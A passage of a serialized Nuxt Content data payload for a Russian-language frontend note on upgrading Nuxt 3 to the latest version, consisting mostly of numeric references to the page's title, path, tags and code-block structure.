обновления Nuxt 3 до последней версии",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1080,"description":1117},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1123,817,152],"nuxt","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",{"id":4,"title":5,"author":6,"body":1126,"date":140,"description":141,"extension":142,"image":143,"meta":1206,"navigation":145,"path":146,"seo":1207,"stem":148,"tags":1208,"__hash__":154},{"type":8,"value":1127,"toc":1204},[1128,1130,1132,1144,1150,1202],[11,1129,5],{"id":13},[15,1131,17],{},[19,1133,1134],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,1135,1136],{"__ignoreMap":24},[29,1137,1138,1140,1142],{"class":31,"line":32},[29,1139,36],{"class":35},[29,1141,40],{"class":39},[29,1143,43],{"class":39},[15,1145,46,1146,50,1148,54],{},[26,1147,49],{},[26,1149,53],{},[19,1151,1152],{"className":21,"code":57,"language":23,"meta":24,"style":24},[26,1153,1154],{"__ignoreMap":24},[29,1155,1156,1158,1160,1162,1164,1166,1168,1170,1172,1174,1176,1178,1180,1182,1184,1186,1188,1190,1192,1194,1196,1198,1200],{"class":31,"line":32},[29,1157,65],{"class":64},[29,1159,69],{"class":68},[29,1161,72],{"class":64},[29,1163,75],{"class":39},[29,1165,78],{"class":68},[29,1167,81],{"class":64},[29,1169,84],{"class":35},[29,1171,88],{"class":87},[29,1173,91],{"class":39},[29,1175,94],{"class":68},[29,1177,97],{"class":39},[29,1179,100],{"class":87},[29,1181,103],{"class":87},[29,1183,106],{"class":87},[29,1185,109],{"class":39},[29,1187,112],{"class":39},[29,1189,115],{"class":68},[29,1191,118],{"class":64},[29,1193,121],{"class":39},[29,1195,124],{"class":64},[29,1197,127],{"class":39},[29,1199,78],{"class":68},[29,1201,132],{"class":64},[134,1203,136],{},{"title":24,"searchDepth":138,"depth":138,"links":1205},[],{},{"title":5,"description":141},[150,151,152,153],[1210],{"id":4,"title":5,"author":6,"body":1211,"date":140,"description":141,"extension":142,"image":143,"meta":1291,"navigation":145,"path":146,"seo":1292,"stem":148,"tags":1293,"__hash__":154},{"type":8,"value":1212,"toc":1289},[1213,1215,1217,1229,1235,1287],[11,1214,5],{"id":13},[15,1216,17],{},[19,1218,1219],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,1220,1221],{"__ignoreMap":24},[29,1222,1223,1225,1227],{"class":31,"line":32},[29,1224,36],{"class":35},[29,1226,40],{"class":39},[29,1228,43],{"class":39},[15,1230,46,1231,50,1233,54],{},[26,1232,49],{},[26,1234,53],{},[19,1236,1237],{"className":21,"code":57,"language":23,"meta":24,"style":24},[26,1238,1239],{"__ignoreMap":24},[29,1240,1241,1243,1245,1247,1249,1251,1253,1255,1257,1259,1261,1263,1265,1267,1269,1271,1273,1275,1277,1279,1281,1283,1285],{"class":31,"line":32},[29,1242,65],{"class":64},[29,1244,69],{"class":68},[29,1246,72],{"class":64},[29,1248,75],{"class":39},[29,1250,78],{"class":68},[29,1252,81],{"class":64},[29,1254,84],{"class":35},[29,1256,88],{"class":87},[29,1258,91],{"class":39},[29,1260,94],{"class":68},[29,1262,97],{"class":39},[29,1264,100],{"class":87},[29,1266,103],{"class":87},[29,1268,106],{"class":87},[29,1270,109],{"class":39},[29,1272,112],{"class":39},[29,1274,115],{"class":68},[29,1276,118],{"class":64},[29,1278,121],{"class":39},[29,1280,124],{"class":64},[29,1282,127],{"class":39},[29,1284,78],{"class":68},[29,1286,132],{"class":64},[134,1288,136],{},{"title":24,"searchDepth":138,"depth":138,"links":1290},[],{},{"title":5,"description":141},[150,151,152,153],1776084468370]